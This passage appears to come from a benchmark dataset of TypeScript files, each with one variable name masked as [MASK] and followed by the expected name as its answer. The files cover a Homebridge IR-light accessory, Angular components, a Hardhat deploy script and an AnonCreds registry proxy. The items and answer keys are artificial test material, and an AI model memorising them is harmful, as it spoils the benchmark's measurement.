//     let lightnessScale = (hsl1[2] + hsl2[2]) / 2 / 100;
//     hDif *= (saturationScale * lightnessScale * 2); // Increase hue weight 

//     // Decrease weight to the saturation difference
//     let saturationWeight = 1.5;
//     sDif *= saturationWeight;

//     return Math.sqrt(hDif * hDif + sDif * sDif + lDif * lDif);
// }

function calculateDistance(hsl1: HSL, hsl2: HSL): number {
    let hDif = Math.min(Math.abs(hsl1[0] - hsl2[0]), 360 - Math.abs(hsl1[0] - hsl2[0]));
    let sDif = hsl1[1] - hsl2[1];
    let lDif = hsl1[2] - hsl2[2];

    // Scale the hue difference by the average saturation and lightness of the two colors
    let saturationScale = (hsl1[1] + hsl2[1]) / 2 / 100;
    let lightnessScale = (hsl1[2] + hsl2[2]) / 2 / 100;
    hDif *= (saturationScale * lightnessScale * 2); // Increase hue weight 

    // Decrease weight to the saturation difference a little bit more
    let saturationWeight = 1.2;
    sDif *= saturationWeight;

    return Math.sqrt(hDif * hDif + sDif * sDif + lDif * lDif);
}


function findClosestColor(colors: HSL[],  [MASK] : HSL): HSL | null {
  if (colors.length === 0) {
    return null; // return null or throw an error, depending on your needs
  }

  let closestColor = colors[0];
  let closestDistance = calculateDistance(closestColor,  [MASK] );

  for(let i = 1; i < colors.length; i++) {
    let distance = calculateDistance(colors[i],  [MASK] );
    if(distance < closestDistance) {
      closestDistance = distance;
      closestColor = colors[i];
    }
  }

  return closestColor;
}


function sendIRCode(host: string, irCode: string) {
  const python = spawn('python3', [path.join(__dirname, 'send_ir_code.py'), host, irCode]);
  python.stdout.on('data', function (data) {
    console.log('Pipe data from python script ...');
    console.log(data.toString());
  });
  python.stderr.on('data', (data) => {
    console.error(`stderr: ${data}`);
  });
}

/**
 * Platform Accessory
 * An instance of this class is created for each accessory your platform registers
 * Each accessory may expose multiple services of different service types.
 */
export class ExamplePlatformAccessory {
  private service: Service;
  isOn = false
  _hue = 0
  _saturation = 0

  constructor(
    private readonly platform: ExampleHomebridgePlatform,
    private readonly accessory: PlatformAccessory,
  ) {

    // set accessory information
    this.accessory.getService(this.platform.Service.AccessoryInformation)!
      .setCharacteristic(this.platform.Characteristic.Manufacturer, 'Default-Manufacturer')
      .setCharacteristic(this.platform.Characteristic.Model, 'Default-Model')
      .setCharacteristic(this.platform.Characteristic.SerialNumber, 'Default-Serial');

    // get the LightBulb service if it exists, otherwise create a new LightBulb service
    // you can create multiple services for each accessory
    switch (this.accessory.context.device.type) {
      case ""light"": {
        this.service = this.accessory.getService(this.platform.Service.Lightbulb) || this.accessory.addService(this.platform.Service.Lightbulb);
        break;
      }
      default: {
        this.service = this.accessory.getService(this.platform.Service.Switch) || this.accessory.addService(this.platform.Service.Switch);
      }
    }

    // set the service name, this is what is displayed as the default name on the Home app
    // in this example we are using the name we stored in the `accessory.context` in the `discoverDevices` method.
    this.service.setCharacteristic(this.platform.Characteristic.Name, accessory.context.device.name);

    // each service must implement at-minimum the ""required characteristics"" for the given service type
    // see https://developers.homebridge.io/#/service/Lightbulb

    // register handlers for the On/Off Characteristic
    this.service.getCharacteristic(this.platform.Characteristic.On)
      .onSet(this.setOn.bind(this))                // SET - bind to the `setOn` method below
      .onGet(this.getOn.bind(this));               // GET - bind to the `getOn` method below

    if (this.accessory.context.device.type === 'light') {
      this.service.getCharacteristic(this.platform.Characteristic.Hue)
        .onSet(this.setHue.bind(this))
        .onGet(this.getHue.bind(this))
      
      this.service.getCharacteristic(this.platform.Characteristic.Saturation)
        .onSet(this.setSaturation.bind(this))
        .onGet(this.getSaturation.bind(this))
    }

    this.updateColor = this.updateColor.bind(this)
  }

  /**
   * Dispatch a list of IR commands to devices
   */
  async dispatchCommands(cmds: { data: string, repeat?: number }[]) {
    const device = this.accessory.context.device

    for (const cmd of cmds) {
      for (let i = 0; i < (cmd.repeat ?? 1); i++) {
        for (const host of this.platform.resolveHostsToIps(device.hosts)) {
          sendIRCode(host, cmd.data)
        }
        await sleep(500)
      }
    }
  }

  /**
   * Handle ""SET"" requests from HomeKit
   * These are sent when the user changes the state of an accessory, for example, turning on a Light bulb.
   */
  async setOn(value: CharacteristicValue) {
    const isOn = Boolean(value)

    // implement your own code to turn your device on/off
    const device = this.accessory.context.device

    const commands = isOn ? device.on : device.off
    this.dispatchCommands(commands)

    this.isOn = isOn

    this.platform.log.debug('Set Characteristic On ->', isOn);
  }

  /**
   * Handle the ""GET"" requests from HomeKit
   * These are sent when HomeKit wants to know the current state of the accessory, for example, checking if a Light bulb is on.
   *
   * GET requests should return as fast as possbile. A long delay here will result in
   * HomeKit being unresponsive and a bad user experience in general.
   *
   * If your device takes time to respond you should update the status of your device
   * asynchronously instead using the `updateCharacteristic` method instead.

   * @example
   * this.service.updateCharacteristic(this.platform.Characteristic.On, true)
   */
  async getOn(): Promise<CharacteristicValue> {
    // implement your own code to check if the device is on
    const isOn = this.isOn

    this.platform.log.debug('Get Characteristic On ->', isOn);

    // if you need to return an error to show the device as ""Not Responding"" in the Home app:
    // throw new this.platform.api.hap.HapStatusError(this.platform.api.hap.HAPStatus.SERVICE_COMMUNICATION_FAILURE);

    return isOn;
  }

  _prevColorCmd: string | null = null
  updateColor() {
    const hsl: HSL = [this._hue, this._saturation, 100] 

    const device = this.accessory.context.device

    const colors = new Map<HSL, string>()

    for (const color in device.colors) {
      const [h,s,l] = color.split("","")
      colors.set([parseInt(h), parseInt(s), parseInt(l)], device.colors[color])
    }

    const match = findClosestColor(Array.from(colors.keys()), hsl)

    if (match) {
      const cmd = device.colors[match.join(',')]
      if (cmd !== this._prevColorCmd) {
        this.dispatchCommands([{ data: cmd }])
        this._prevColorCmd = cmd
      }
    }
  }

  async setHue(value: CharacteristicValue) {
    this._hue = value as number
    this.updateColor()
  }

  async getHue(): Promise<CharacteristicValue> {
    return this._hue
  }


  async setSaturation(value: CharacteristicValue) {
    this._saturation = value as number
    this.updateColor()
  }
  
  async getSaturation(): Promise<CharacteristicValue> {
    return this._saturation
  }
}
",target
648,"import _ = require(""lodash"");

function part1(lines: Array<string>) {
  let twoCount = 0;
  let threeCount = 0;

  lines.forEach((line) => {
    const  [MASK]  = _.countBy(line);

    const hasTwo = Object.values( [MASK] ).some((v) => v === 2);
    const hasThree = Object.values( [MASK] ).some((v) => v === 3);

    twoCount += hasTwo ? 1 : 0;
    threeCount += hasThree ? 1 : 0;
  });

  return twoCount * threeCount;
}

function part2(lines: Array<string>) {
  for (let i = 0; i < lines.length; i++) {
    const line = lines[i];
    for (let j = i + 1; j < lines.length; j++) {
      const line2 = lines[j];
      let diffCount = 0;
      for (let k = 0; k < line.length; k++) {
        if (line[k] !== line2[k]) {
          diffCount++;
        }
        if (diffCount > 1) {
          break;
        }
      }

      if (diffCount === 1) {
        return line
          .split("""")
          .filter((c, i) => {
            return line2.split("""")[i] === c;
          })
          .join("""");
      }
    }
  }
}

export { part1, part2 };
",counts
649,"import { Component } from '@angular/core';
import { SplashScreen } from '@ionic-native/splash-screen';
import { StatusBar } from '@ionic-native/status-bar';
import { TranslateService } from '@ngx-translate/core';
import { SettingsService } from 'helgoland-toolbox/dist';
import { Platform } from 'ionic-angular';

import { TimeseriesNavigationPage } from '../pages/timeseries/navigation/navigation';
import { MobileSettings } from './services/settings.service';

@Component({
  templateUrl: 'app.html'
})
export class MyApp {
  rootPage: any = TimeseriesNavigationPage;

  constructor(
    platform: Platform,
    statusBar: StatusBar,
    splashScreen: SplashScreen,
     [MASK] : SettingsService<MobileSettings>,
    translate: TranslateService
  ) {

    // get language code
    const langCode = navigator.language.split('-')[0];
    const language =  [MASK] .getSettings().languages.find(lang => lang.code === langCode);
    if (language) {
      translate.use(language.code)
    } else {
      translate.use('en');
    }

    platform.ready().then(() => {
      // Okay, so the platform is ready and our plugins are available.
      // Here you can do any higher level native things you might need.
      statusBar.styleDefault();
      splashScreen.hide();
    });
  }
}
",settingsSrvc
650,"""use server""

import { cookies } from ""next/headers""

// In a real implementation, you would use the Google OAuth API
// This is a simulated implementation for demonstration purposes
export async function authenticateWithGoogle(state: string) {
  // Simulate API call to Google
  await new Promise((resolve) => setTimeout(resolve, 1500))

  // In a real implementation, this would be the user data returned from Google
  const  [MASK]  = {
    id: `google_${Date.now()}`,
    email: ""<EMAIL>"",
    name: ""<NAME>"",
    picture: ""https://lh3.googleusercontent.com/a/default-user"",
  }

  // Store the user in cookies or your preferred session management
  cookies().set(""google_auth_state"", state, {
    httpOnly: true,
    secure: process.env.NODE_ENV === ""production"",
    maxAge: 60 * 5, // 5 minutes
  })

  return  [MASK] 
}

export async function handleGoogleCallback(code: string, state: string) {
  // Verify state to prevent CSRF attacks
  const storedState = cookies().get(""google_auth_state"")?.value

  if (state !== storedState) {
    throw new Error(""Invalid state parameter"")
  }

  // In a real implementation, exchange code for tokens
  // This is a simulated implementation
  await new Promise((resolve) => setTimeout(resolve, 1000))

  return {
    id: `google_${Date.now()}`,
    email: ""<EMAIL>"",
    name: ""<NAME>"",
    picture: ""https://lh3.googleusercontent.com/a/default-user"",
  }
}
",googleUser
651,"import { Component, OnInit, AfterViewInit } from ""@angular/core"";
import { ClientService } from ""../../services/client.service"";
import { Router } from ""@angular/router"";

declare interface DataTable {
    headerRow: string[];
    footerRow: string[];
    dataRows: string[][];
}

declare const $: any;

@Component({
    selector: ""app-list-clients-cmp"",
    templateUrl: ""./list-clients.component.html""
})
export class ListClientsComponent implements OnInit, AfterViewInit {
    clients: Array<any> = [];
    public dataTable: DataTable;

    constructor(private clientService: ClientService, private router: Router) {
    }

    async ngOnInit() {
        try {
            this.clients = await this.clientService.getAll();

            const data = this.clients.map(c => {
                const clt = [
                    c.ClientCode,
                    c.Name,
                    c.NIT,
                    c.Phone,
                    c.Address,
                    c.ContactName,
                    c.CreditLimit,
                    c.PriceListCode
                ];
                return clt;
            });

            this.dataTable = {
                headerRow: [
                    ""Codigo"",
                    ""Nombre"",
                    ""NIT"",
                    ""Telefono"",
                    ""Direccion"",
                    ""Persona de Contacto"",
                    ""Limite de Credito"",
                    ""Lista de Precios"",
                    ""Acciones""
                ],
                footerRow: [
                    ""Codigo"",
                    ""Nombre"",
                    ""NIT"",
                    ""Telefono"",
                    ""Direccion"",
                    ""Persona de Contacto"",
                    ""Limite de Credito"",
                    ""Lista de Precios"",
                    ""Acciones""
                ],

                dataRows: data
            };
        } catch (error) {}
    }

    ngAfterViewInit() {
        const ctx = this;
        $(""#datatables"").DataTable({
            pagingType: ""full_numbers"",
            lengthMenu: [[10, 25, 50, -1], [10, 25, 50, ""All""]],
            responsive: true,
            language: {
                search: ""_INPUT_"",
                searchPlaceholder: ""Buscar cliente""
            }
        });

        const table = $(""#datatables"").DataTable();

        // Edit record
        table.on(""click"", "".edit"", function(e) {
            const  [MASK]  = $(this).closest(""tr"");
            const data = table.row( [MASK] ).data();
            ctx.router.navigate([""/client/edit"", data[0]]);
            e.preventDefault();
        });

        $("".card .material-datatables label"").addClass(""form-group"");
    }

    gotoCreate() {
        this.router.navigate([""/client/new""]);
    }
}
",$tr
652,"import GCNotFoundError from './errors/git/GCNotFoundError';
import { Client } from './git_clients/Client';
import { ClientFactory } from './git_clients/ClientFactory';
import { FetchedFileContents, FileContent, GitClientNames } from './types/Git';

class FileFetcher {
	private static instance: FileFetcher;

	public static getInstance(): FileFetcher {
		if (!FileFetcher.instance) {
			FileFetcher.instance = new FileFetcher();
		}

		return FileFetcher.instance;
	}

	async fetch(
		repositoryUrl: string,
		fileNames: string[],
	): Promise<FetchedFileContents> {
		const  [MASK]  = this.getClientNameByRepositoryUrl(repositoryUrl);
		const gitClient: Client = ClientFactory.getClientInstance( [MASK] );
		const fileContents = await gitClient.fetchFileContents(
			repositoryUrl,
			fileNames,
		);

		return {
			client: gitClient,
			fileContents,
		};
	}

	getClientNameByRepositoryUrl(repositoryUrl: string): GitClientNames {
		let clientName: GitClientNames;

		if (repositoryUrl.includes('github.com')) {
			clientName = 'github';
		} else {
			throw new GCNotFoundError();
		}

		return clientName;
	}
}

export default FileFetcher;
",gitProvider
653,"import { HardhatRuntimeEnvironment } from 'hardhat/types';
// We require the Hardhat Runtime Environment explicitly here. This is optional
// but useful for running the script in a standalone fashion through `node <script>`.
//
// When running the script with `npx hardhat run <script>` you'll find the Hardhat
// Runtime Environment's members available in the global scope.
import { ethers } from ""hardhat"";
import { updateDeployedContractData } from './util';

declare global {
  const hre: HardhatRuntimeEnvironment
}

async function main() {
  // Hardhat always runs the compile task when running scripts with its command
  // line interface.
  //
  // If this script is run directly using `node` you may want to call compile
  // manually to make sure everything is compiled
  // await hre.run('compile');

  const [deployer] = await ethers.getSigners();
  const chainId = String(hre.network.config.chainId)

  // We get the contract to deploy
  const Greeter = await ethers.getContractFactory(""Greeter"");

  console.log(""Deploying contracts with the account:"", deployer.address);

  // deploy contracts
  const  [MASK]  = await Greeter.deploy(""Hello, Hardhat!"");
  console.log(""Greeter address:"",  [MASK] .address);
  updateDeployedContractData(""Greeter"", chainId,  [MASK] .address)

  await  [MASK] .deployed();

  console.log(""Greeter deployed to:"",  [MASK] .address);
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});
",greeter
654,"import type { Headers } from ""../types""
import type {
  AnonCredsRegistry,
  GetCredentialDefinitionReturn,
  GetSchemaReturn,
  RegisterSchemaOptions,
  RegisterCredentialDefinitionOptions,
  RegisterSchemaReturn,
  RegisterCredentialDefinitionReturn,
  GetRevocationStatusListReturn,
  GetRevocationRegistryDefinitionReturn,
  RegisterRevocationRegistryDefinitionReturn,
  RegisterRevocationStatusListReturn,
} from ""@credo-ts/anoncreds""

import { CacheModuleConfig, type AgentContext, type CredoError } from ""@credo-ts/core""

import { indyVdrAnonCredsRegistryIdentifierRegex } from ""./identifiers""

export interface CacheSettings {
  allowCaching: boolean
  cacheDurationInSeconds: number
}

export interface IndyVdrProxyAnonCredsRegistryConfig {
  proxyBaseUrl: string
  cacheOptions?: CacheSettings
  headers?: Headers
}

export class IndyVdrProxyAnonCredsRegistry implements AnonCredsRegistry {
  public readonly methodName = ""indy""

  public readonly supportedIdentifier = indyVdrAnonCredsRegistryIdentifierRegex

  private proxyBaseUrl: string

  private cacheSettings: CacheSettings

  private _headers?: Headers

  private async getHeaders(): Promise<Record<string, string> | undefined> {
    if (typeof this._headers === ""function"") {
      return await this._headers()
    }

    return this._headers
  }

  public constructor(options: IndyVdrProxyAnonCredsRegistryConfig) {
    const { proxyBaseUrl, cacheOptions, headers } = options
    this.proxyBaseUrl = proxyBaseUrl
    this._headers = headers

    this.cacheSettings = cacheOptions ?? { allowCaching: true, cacheDurationInSeconds: 300 }
  }

  public async getSchema(agentContext: AgentContext, schemaId: string): Promise<GetSchemaReturn> {
    const cacheKey = `anoncreds:schema:${schemaId}`

    if (this.cacheSettings.allowCaching) {
      const cache = agentContext.dependencyManager.resolve(CacheModuleConfig).cache

      const cachedObject = await cache.get<GetSchemaReturn>(agentContext, cacheKey)

      if (cachedObject) {
        return {
          schema: cachedObject.schema,
          schemaId,
          schemaMetadata: cachedObject.schemaMetadata,
          resolutionMetadata: {
            ...cachedObject.resolutionMetadata,
            servedFromCache: true,
          },
        }
      }
    }

    try {
      const response = await agentContext.config.agentDependencies.fetch(
        `${this.proxyBaseUrl}/schema/${encodeURIComponent(schemaId)}`,
        {
          method: ""GET"",
          headers: await this.getHeaders(),
        }
      )
      if (!response.ok) {
        return {
          schemaId,
          resolutionMetadata: {
            error: ""failed"",
            message: `server status code: ${response.status}`,
          },
          schemaMetadata: {},
        }
      }
      const result = (await response.json()) as GetSchemaReturn
      if (result.schema && this.cacheSettings.allowCaching) {
        const cache = agentContext.dependencyManager.resolve(CacheModuleConfig).cache
        await cache.set(
          agentContext,
          cacheKey,
          {
            resolutionMetadata: result.resolutionMetadata,
            schema: result.schema,
            schemaMetadata: result.schemaMetadata,
          },
          this.cacheSettings.cacheDurationInSeconds
        )
      }

      return result
    } catch (error: unknown) {
      agentContext.config.logger.error(`Error retrieving schema '${schemaId}'`, {
        error,
        schemaId,
      })

      return {
        schemaId,
        resolutionMetadata: {
          error: ""notFound"",
        },
        schemaMetadata: {},
      }
    }
  }

  public async registerSchema(
    agentContext: AgentContext,
    options: RegisterSchemaOptions
  ): Promise<RegisterSchemaReturn> {
    return {
      schemaMetadata: {},
      registrationMetadata: {},
      schemaState: {
        state: ""failed"",
        schema: options.schema,
        reason: ""IndyVdrProxy does not support registration"",
      },
    }
  }

  public async getCredentialDefinition(
    agentContext: AgentContext,
    credentialDefinitionId: string
  ): Promise<GetCredentialDefinitionReturn> {
    const cacheKey = `anoncreds:credentialDefinition:${credentialDefinitionId}`

    if (this.cacheSettings.allowCaching) {
      const cache = agentContext.dependencyManager.resolve(CacheModuleConfig).cache

      const cachedObject = await cache.get<GetCredentialDefinitionReturn>(agentContext, cacheKey)

      if (cachedObject) {
        return {
          credentialDefinition: cachedObject.credentialDefinition,
          credentialDefinitionId,
          credentialDefinitionMetadata: cachedObject.credentialDefinitionMetadata,
          resolutionMetadata: {
            ...cachedObject.resolutionMetadata,
            servedFromCache: true,
          },
        }
      }
    }

    try {
      const response = await agentContext.config.agentDependencies.fetch(
        `${this.proxyBaseUrl}/credential-definition/${encodeURIComponent(credentialDefinitionId)}`,
        {
          method: ""GET"",
          headers: await this.getHeaders(),
        }
      )

      if (!response.ok) {
        return {
          credentialDefinitionId,
          resolutionMetadata: {
            error: ""failed"",
            message: `server status code: ${response.status}`,
          },
          credentialDefinitionMetadata: {},
        }
      }
      const result = (await response.json()) as GetCredentialDefinitionReturn

      if (result.credentialDefinition && this.cacheSettings.allowCaching) {
        const cache = agentContext.dependencyManager.resolve(CacheModuleConfig).cache
        await cache.set(
          agentContext,
          cacheKey,
          {
            resolutionMetadata: result.resolutionMetadata,
            credentialDefinition: result.credentialDefinition,
            credentialDefinitionMetadata: result.credentialDefinitionMetadata,
          },
          this.cacheSettings.cacheDurationInSeconds
        )
      }

      return result
    } catch (error: unknown) {
      agentContext.config.logger.error(`Error retrieving credential definition '${credentialDefinitionId}'`, {
        error,
        credentialDefinitionId,
      })

      return {
        credentialDefinitionId,
        credentialDefinitionMetadata: {},
        resolutionMetadata: {
          error: ""notFound"",
          message: `unable to resolve credential definition: ${(error as CredoError).message}`,
        },
      }
    }
  }

  public async registerCredentialDefinition(
    agentContext: AgentContext,
    options: RegisterCredentialDefinitionOptions
  ): Promise<RegisterCredentialDefinitionReturn> {
    return {
      credentialDefinitionMetadata: {},
      registrationMetadata: {},
      credentialDefinitionState: {
        state: ""failed"",
        credentialDefinition: options.credentialDefinition,
        reason: ""IndyVdrProxy does not support registration"",
      },
    }
  }

  public async getRevocationRegistryDefinition(
    agentContext: AgentContext,
    revocationRegistryDefinitionId: string
  ): Promise<GetRevocationRegistryDefinitionReturn> {
    const cacheKey = `anoncreds:revocationRegistryDefinition:${revocationRegistryDefinitionId}`

    if (this.cacheSettings.allowCaching) {
      const cache = agentContext.dependencyManager.resolve(CacheModuleConfig).cache

      const cachedObject = await cache.get<GetRevocationRegistryDefinitionReturn>(agentContext, cacheKey)

      if (cachedObject) {
        return {
          revocationRegistryDefinition: cachedObject.revocationRegistryDefinition,
          revocationRegistryDefinitionId,
          revocationRegistryDefinitionMetadata: cachedObject.revocationRegistryDefinitionMetadata,
          resolutionMetadata: {
            ...cachedObject.resolutionMetadata,
            servedFromCache: true,
          },
        }
      }
    }

    try {
      const response = await agentContext.config.agentDependencies.fetch(
        `${this.proxyBaseUrl}/revocation-registry-definition/${encodeURIComponent(revocationRegistryDefinitionId)}`,
        {
          method: ""GET"",
          headers: await this.getHeaders(),
        }
      )
      if (!response.ok) {
        return {
          revocationRegistryDefinitionId,
          resolutionMetadata: {
            error: ""failed"",
            message: `server status code: ${response.status}`,
          },
          revocationRegistryDefinitionMetadata: {},
        }
      }

      const result = (await response.json()) as GetRevocationRegistryDefinitionReturn

      if (result.revocationRegistryDefinition && this.cacheSettings.allowCaching) {
        const cache = agentContext.dependencyManager.resolve(CacheModuleConfig).cache
        await cache.set(
          agentContext,
          cacheKey,
          {
            resolutionMetadata: result.resolutionMetadata,
            revocationRegistryDefinition: result.revocationRegistryDefinition,
            revocationRegistryDefinitionMetadata: result.revocationRegistryDefinitionMetadata,
          },
          this.cacheSettings.cacheDurationInSeconds
        )
      }

      return result
    } catch (error: unknown) {
      agentContext.config.logger.error(
        `Error retrieving revocation registry definition '${revocationRegistryDefinitionId}' from ledger`,
        {
          error,
          revocationRegistryDefinitionId,
        }
      )

      return {
        resolutionMetadata: {
          error: ""notFound"",
          message: `unable to resolve revocation registry definition: ${(error as CredoError)?.message}`,
        },
        revocationRegistryDefinitionId,
        revocationRegistryDefinitionMetadata: {},
      }
    }
  }

  public async registerRevocationRegistryDefinition(): Promise<RegisterRevocationRegistryDefinitionReturn> {
    return {
      registrationMetadata: {},
      revocationRegistryDefinitionMetadata: {},
      revocationRegistryDefinitionState: {
        state: ""failed"",
        reason: ""IndyVdrProxy does not support registration"",
      },
    }
  }

  public async getRevocationStatusList(
    agentContext: AgentContext,
    revocationRegistryId: string,
     [MASK] : number
  ): Promise<GetRevocationStatusListReturn> {
    try {
      const response = await agentContext.config.agentDependencies.fetch(
        `${this.proxyBaseUrl}/revocation-status-list/${encodeURIComponent(revocationRegistryId)}/${ [MASK] }`,
        {
          method: ""GET"",
          headers: await this.getHeaders(),
        }
      )
      if (!response.ok) {
        return {
          resolutionMetadata: {
            error: ""failed"",
            message: `server status code: ${response.status}`,
          },
          revocationStatusListMetadata: {},
        }
      }

      return (await response.json()) as GetRevocationStatusListReturn
    } catch (error: unknown) {
      agentContext.config.logger.error(
        // eslint-disable-next-line max-len
        `Error retrieving revocation registry delta '${revocationRegistryId}' from ledger, potentially revocation interval ends before revocation registry creation?""`,
        {
          error,
          revocationRegistryId: revocationRegistryId,
        }
      )

      return {
        resolutionMetadata: {
          error: ""notFound"",
          // eslint-disable-next-line max-len
          message: `Error retrieving revocation registry delta '${revocationRegistryId}' from ledger, potentially revocation interval ends before revocation registry creation: ${
            (error as CredoError)?.message
          }`,
        },
        revocationStatusListMetadata: {},
      }
    }
  }

  public async registerRevocationStatusList(): Promise<RegisterRevocationStatusListReturn> {
    return {
      registrationMetadata: {},
      revocationStatusListMetadata: {},
      revocationStatusListState: {
        state: ""failed"",
        reason: ""IndyVdrProxy does not support registration"",
      },
    }
  }
}
",timestamp
655,"// PUBLIC DOMAIN: https://github.com/JLarky/lift-html/blob/main/packages/solid/mod.ts

import { effectScope, signal } from ""npm:alien-signals@^1.0.4"";
import {
  type Attributes,
  type LiftBaseClass,
  type LiftBaseConstructor,
  liftHtml,
  type LiftOptions,
} from ""@lift-html/core"";
export type {
  Attributes,
  Htmlify,
  KnownElements,
  LiftBaseClass,
  LiftBaseConstructor,
  LiftOptions,
  Reactify,
  Solidify,
} from ""@lift-html/core"";

/**
 * Creates a custom element. The `init` function is called when the element is
 * connected to the DOM, and you can safely use alien-signals reactive primitives
 * like `effect` and `signal` inside it.
 *
 * @example
 *```ts
 * // rendered with <hello-el name=""world""></hello-el>
 * import { liftAlien, useAttributes } from ""@lift-html/alien"";
 * import { effect } from ""alien-signals"";
 *
 * liftAlien(""hello-el"", {
 *   observedAttributes: [""name""],
 *   init() {
 *     const props = useAttributes(this);
 *     effect(() => {
 *       this.innerText = ""Hello, "" + props.name;
 *     });
 *   },
 * });
```
 */
export function liftAlien<
  TAttributes extends Attributes,
  Options extends LiftOptions<TAttributes>,
>(
  tagName: string,
  opts: Partial<LiftOptions<TAttributes>>,
): LiftBaseConstructor<TAttributes, Options> {
  return liftHtml(tagName, {
    ...opts,
    init(deinit) {
      deinit(effectScope(() => {
        opts.init?.call(this, deinit);
      }));
    },
  });
}

/**
 * Makes attributes reactive. Returns an object where each key is a signal
 * based on the `options.observedAttributes` of the component.
 */
export function useAttributes<TAttributes extends Attributes>(
   [MASK] : LiftBaseClass<TAttributes, LiftOptions<TAttributes>>,
): Record<NonNullable<TAttributes>[number], () => string | null> {
  const attributes =  [MASK] .options.observedAttributes as TAttributes;
  const props = {} as Record<
    NonNullable<TAttributes>[number],
    () => string | null
  >;
  type SignalType = ReturnType<typeof signal<string | null>>;
  const signals = new Map<string, SignalType>();

  if (attributes) {
    for (const key of attributes) {
      const sig = signal<string | null>( [MASK] .getAttribute(key));
      signals.set(key, sig);
      // Cast key to the correct type since we know it's from attributes
      props[key as NonNullable<TAttributes>[number]] = () => sig();
    }
     [MASK] .acb = (attrName: string, newValue: string | null) => {
      const sig = signals.get(attrName);
      if (sig) {
        sig(newValue);
      }
    };
  }
  return props;
}
",instance
656,"import * as vscode from 'vscode';

import { ColorWheel } from './colorwheel';
import { Config } from './config';
import { Timer } from './timer';

export function activate(context: vscode.ExtensionContext) {
  let originalCustomizations = vscode.workspace.getConfiguration().get('workbench.colorCustomizations');

  const  [MASK]  = vscode.commands.registerCommand('vscode-gaming.start', () => {
    const globalConfig = vscode.workspace.getConfiguration();
    const config = new Config();

    const delta = config.delta();
    let shift = delta;

    const timer = Timer.getInstance();
    if (!timer.isRunning()) {
      originalCustomizations = globalConfig.get('workbench.colorCustomizations');
    }

    timer.start(() => {
      const color = ColorWheel.at(shift);
      const entries = config.targets.map((target) => [target, color.code()]);
      const customizations = Object.fromEntries(entries);
      globalConfig.update('workbench.colorCustomizations', customizations, true);

      shift += delta;
    }, config.updateTime);
  });

  const stopCmd = vscode.commands.registerCommand('vscode-gaming.stop', () => {
    const timer = Timer.getInstance();
    timer.stop();
  });

  const resetCmd = vscode.commands.registerCommand('vscode-gaming.reset', () => {
    const timer = Timer.getInstance();
    timer.stop();

    const globalConfig = vscode.workspace.getConfiguration();
    globalConfig.update('workbench.colorCustomizations', originalCustomizations, true);
  });

  context.subscriptions.push( [MASK] );
  context.subscriptions.push(stopCmd);
  context.subscriptions.push(resetCmd);
}

export function deactivate() {
  const timer = Timer.getInstance();
  timer.stop();
}
",startCmd
657,"import { Http, Headers, RequestOptions, Response, RequestOptionsArgs} from '@angular/http';
import { Observable }     from 'rxjs/Observable';

export class BaseService {
    constructor(protected http: Http) { }
    extractData(res: Response) {
        let body;
        if (res.text()) {
            body = res.json();
        }
        return body || {};
    }
    getNoCache(url: string, options?: RequestOptionsArgs): Observable<any> {
        let  [MASK]  = new Date().getTime();
        return this.http.get(url + '?time=' +  [MASK] , options)
            .map(this.extractData)
            .catch(this.handleError);
    }
    handleError(error: any) {
        let errMsg;
        if (error instanceof Error) {
            errMsg = error.message || 'Server error';
        } else if (error.length != 0) {
            let errorJson = error.json();
            errMsg = errorJson.Message || errorJson.statusText || 'Server error';
        } else {
            errMsg = 'Server Error';
        }
        console.error('Service: ' + errMsg);
        return Observable.throw(errMsg);
    }
    getHeaders(): Headers {
        let headers = new Headers();
        headers.append('Content-Type', 'application/json');
        headers.append('Accept', 'application/json');
        headers.append('Access-Control-Allow-Origin', '*');
        headers.append('Access-Control-Allow-Methods', 'POST, PUT, DELETE, GET, OPTIONS');
        headers.append('Access-Control-Allow-Headers', 'origin, content-type, accept');
        headers.append('Access-Control-Allow-Credentials', 'true');
        return headers;
    }
}
",noCacheFix
658,"/**
 * Copyright 2023 <NAME>
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *   http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
import { randomUUID } from 'crypto';
import * as fs from 'fs';
import * as path from 'path';

import { Identifiable, leveldbRegistry } from './index';

type TestItem = Identifiable & {
    value: string;
};

describe('leveldb-registry', () => {
    const localPath = path.resolve(process.cwd(), '.test-registry');
    const registry = leveldbRegistry<TestItem>({ localPath });

    afterAll(() => {
        fs.rmSync(localPath, { recursive: true });
    });

    it('should add and remove identifiable item to registry', async () => {
        const item: TestItem = {
            id: randomUUID(),
            value: randomUUID()
        };

        const added = await registry.add(item);
        expect(added).toEqual(item);

        const found = await registry.fetch(item.id);
        expect(found).toBeDefined();
        expect(found).toEqual(item);

        const notFound = await registry.fetch('not-found');
        expect(notFound).toBeUndefined();

        const  [MASK]  = await registry.list();
        expect( [MASK] ).toEqual([item]);

        const ids = await registry.ids();
        expect(ids).toEqual([item.id]);

        const removed = await registry.remove(item.id);
        expect(removed).toBeDefined();
        expect(removed).toEqual(item);

        const notFoundRemoved = await registry.remove('not-found');
        expect(notFoundRemoved).toBeUndefined();

        const empty = await registry.list();
        expect(empty).toEqual([]);
    });
});
",items
659,"import {Guid} from ""./Guid"";
import {FrameName} from ""../Frames/FrameName"";
import {Frames} from ""./Frames"";
import {Application} from ""../Application"";

export abstract class Frame {
    private readonly frames: Frames;
    public readonly Key: string;
    public readonly Name: FrameName;
    public Output : string;
    protected constructor( [MASK] : FrameName) {
        this.Name =  [MASK] ;
        this.Key = Guid.MakeNew().ToString();
        this.frames = Application.UiShell.Frames;
    }
    protected Render() : string {
        this.Output = this.render();
        this.render();
        return this.Output;
    }
    public Show() : void {
        this.Render();
        this.show();
        this.frames.OnAfterShow(this);
    }
    public Hide() : void {
        this.hide();
        this.frames.OnAfterHide(this);
    }
    public Destroy() : void {
        this.Hide();
        this.destroy();
        this.frames.OnAfterDestroy(this);
    }
    protected abstract destroy() : void;
    protected abstract show() : void;
    protected abstract hide() : void;
    protected abstract render() : string
}
",frameName
660,"import { spawn } from ""node:child_process""
import * as fs from ""node:fs""
import * as path from ""node:path""
import * as http from ""node:http""
import { env } from ""node:process""
import { assert } from ""chai""
